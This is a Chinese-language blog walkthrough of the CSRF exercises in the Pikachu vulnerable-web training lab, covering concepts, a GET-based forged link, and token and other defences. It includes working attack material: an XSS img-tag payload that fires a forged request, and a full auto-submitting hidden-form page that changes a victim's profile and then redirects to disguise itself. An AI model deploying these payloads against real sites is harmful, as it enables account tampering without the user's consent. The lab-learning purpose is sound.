Pikachu靶场通关之CSRF

1、CSRF概述

目录
CSRF概述
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

2、CSRF和XSS的区别

3、如何确认存在CSRF漏洞

4、CSRF(get)

下面让我们演示一下吧,首先登录进去,看一看页面内容~

下面我们修改个人信息,然后抓包看一看效果!~

GET http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gir&phonenum=233&add=canada&email=lili%40picachu.com&submit=submit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php
Connection: close
Cookie: PHPSESSID=38jfkmc1o29dm6gkkt8g33sim2
Upgrade-Insecure-Requests: 1

参数是get传参数,且没有csrf_token。攻击者A想要修改被攻击者B的相关信息,只需要构建这样一个链接让B去发送就可以了。相当于A借B的权限修改了B的个人信息。

如A想要把Lucy个人信息的email地址为自己的giao@giao.com, 可以构造链接:

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gir&phonenum=18022226666&add=usa&email=giao%40giao.com&submit=submit
修改成功

A可以把这个链接通过邮件或者其他途径发给Lucy, 诱导Lucy点击。也可以结合前面的xss组合拳让Lucy的客户端自动发送该请求。比如在前面的存储xss区域留言如下,等待Lucy查看留言区的页面。

'><img src='http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gir&phonenum=18022226666&add=usa&email=giao%40giao.com&submit=submit
'>

模拟登录Lucy账户,查看存储xss留言区后再返回查看个人信息,可以发现个人邮箱已经被修改了。

5、CSRF(POST)

利用方式就是前面写到的反射型xss(post)的利用场景,需要攻击者做一个自动提交form表单的恶意页面挂在服务器上并让受害者触发。和get类型csrf不同的是,攻击者需要针对含有csrf页面的表单构造恶意表单并自动提交。如攻击者针对此题构造页面如下:

<html>
<head>
<title>Form表单自动提交</title>
<!-- 加载完页面自动点击submit提交 -->
<script type="text/javascript">
	window.onload = function(){
		//alert("windows_onload_exec");
		autoSubmit();
		window.location.href="http://127.0.0.1/pikachu"; //提交完成跳转到的页面,为了伪装
	} 
</script>
<script type="text/javascript">
	function autoSubmit(){
		//alert('autosubmit_start');
 		document.getElementById("submit").click();
		//alert('after_submit');
		}
</script>
</head>
<body >
<!-- 隐藏的表单 -->
<form id='myForm' action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
	<input type='hidden' name='sex' value='boy'>
	<input type='hidden' name='phonenum' value='evil'>
	<input type='hidden' name='add' value='fake_addr'>
	<input type='hidden' name='email' value='evil_form@admin.com'>
	<input id='submit' type="submit" name='submit' value="submit" style="display:none;"></input>
</form>
</body>
</html>

受害者lucy登录了原来的漏洞页面,同时访问了攻击者构造的页面,就会在不知情的情况下被攻击者利用身份提交修改信息的表单。

6、Token是如何防止CSRF漏洞的

简单的实列-键操作加token,token必须随机,每次都不一样

关于csrf_token攻击的骚操作可以参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考

下面我们来进行一个实例演示~~登录平台,并且修改个人信息,抓包

我们看一个get请求包-里面加了一个token

当我们每一次打开下面的页面,就会生成一个token

这里就是token

看一下后端显示,就是你提交的token和筛选的token要一致,否则不会进行更新的操作

这里他会把筛选的token每次echo到value里面。这样就实现了,后端生成token,显示到前端。前端每次提交,后端进行验证。

7、CSRF常见的防范措施

1、增加token验证
   1.关键操作加token,token必须随机,每次都不一样

2、关于安全的会话管理(避免会话被利用)
   1.客户端不保存敏感信息(如身份认证信息)
   2.测试关闭、退出的会话过期机制
   3.设置会话过期机制,如15分钟无操作,自动登录超时

3、访问控制安全管理
   1.敏感信息的修改要求二次认证(如修改帐号时验证旧密码)
   2.信息修改用post,而不是get。
   3.通过http头部中的referer来限制原页面

4、增加验证码
   1.验证码主要用来防爆破,但一些关键操作在不影响可用性的情况下最好也加上验证码。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇